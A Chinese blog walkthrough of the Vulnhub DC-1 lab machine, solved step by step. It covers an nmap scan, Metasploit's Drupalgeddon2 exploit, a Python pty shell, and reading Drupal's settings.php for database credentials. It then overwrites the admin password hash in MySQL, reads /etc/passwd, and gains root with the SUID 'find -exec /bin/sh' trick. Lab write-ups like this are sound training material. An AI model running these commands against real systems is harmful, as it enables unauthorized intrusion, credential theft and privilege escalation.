Vulnhub DC1

Vulnhub DC1

前言

之前断断续续打过一些靶机,主要原因是自己偷懒然后没有学好,现在想系统的再巩固一下知识,顺便练练手,让自己不那么菜,话不多说,直接开始。

环境说明:VMware 16.2.0,Kali和DC1均使用NAT模式连接;

Kali: 192.168.150.187

DC1: 192.168.150.188

主机发现

在Kali中用nmap扫描网段内存活的主机:

nmap 192.168.150.1/24

由于只开了两个虚拟机,且Kali的IP地址为192.168.150.187,可知DC1的IP地址为192.168.150.188:

在这里插入图片描述

发现DC1开放了80端口,直接访问一下 http:192.168.150.188:

在这里插入图片描述

flag1

继主机发现之后,使用Firefox的插件 wappalyzer(chrome也可以)查看站点信息:

在这里插入图片描述

可以发现DC1站点的CMS是 Drupal7 ,使用Kali自带的msf6查找 Drupal7 CMS的可利用漏洞:

msfconsole

search drupal

在这里插入图片描述

找一个年份比较近并且品质比较好的EXP利用,此处选择 exploit/unix/webapp/drupal_drupalgeddon2,成功获取meterpreter会话:

use exploit/unix/webapp/drupal_drupalgeddon2	# 选择exp
set rhost 192.168.150.188	# 设置远程主机
shwo options	# 查看信息
run	# 攻击

在这里插入图片描述

获取meterpreter会话之后查看权限:

在这里插入图片描述

查了一下,www-data是一个低权限用户,之后再看看如何提权,当前阶段先打开shell比较重要:

shell
# 利用python获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

查看当前目录文件并获取flag1:

在这里插入图片描述

flag2

根据此前flag1的提示 “Every good CMS needs a config file - and so do you.”,查找Drupal 7 的配置文件所在位置为 ‘sites/default/setting.php’:

参考: https://blog.csdn.net/rf344541393/article/details/103570670

cat sites/default/settings.php

在这里插入图片描述

成功获取flag2,还有数据库的用户、密码,可能接下来会有用~

flag3

先翻译一下flag2给的提示:

  • Brute force and dictionary attacks aren’t the

  • only ways to gain access (and you WILL need access).

  • What can you do with these credentials?

  • 蛮力和字典攻击不是

  • 获得访问权限的唯一方法(您将需要访问权限)。

  • 您可以使用这些凭据做什么?

EMMM,暴力破解和字典攻击不是唯一方法,那就试试用mysql能不能获取一些有用的信息:

mysql -u dbuser -p

在这里插入图片描述

show databases;
use drupaldb;
show tables;
select * from users;
select name,pass from users;

在这里插入图片描述

发现两个账号,但是口令被加密过了,尝试重置管理员口令:

# 明文:password
# 哈希值:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4'
where name='admin';

在这里插入图片描述

接着使用 admin/password 登录站点 http://192.168.150.188,发现flag3:

在这里插入图片描述

在这里插入图片描述

flag4

查看系统用户(之前想爆破用户的时候发现的,刚好可以用上):

cat /etc/passwd

在这里插入图片描述

发现用户flag4,找到/home/flag4目录下:

在这里插入图片描述

获取flag4~

flag5

根据flag4的提示:

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

意思是在root中可以找到flag5,但是需要root权限, 提权不是很会,就查了一下wp:

使用find查找具有root权限的suid:

-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT
2>/dev/null: 隐藏错误信息并输出

find / -perm -4000 2>/dev/null

在这里插入图片描述

发现find命令可以用来提权,尝试使用find提权:

find / -name flag4 -exec '/bin/sh' \;

whoami

在这里插入图片描述

成功之后转到root目录下查看flag5:

在这里插入图片描述

小结一下

重做的时候发现自己已经忘记了find提权,msf的使用也有点生疏,还需要查找资料才做的出来,真的太菜啦,刚好最近有时间,可以系统的打一下这些靶机,好好总结一下,不再是打完就过了,啥也没有留在脑子里。

感谢阅读,有问题的话欢迎指正~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值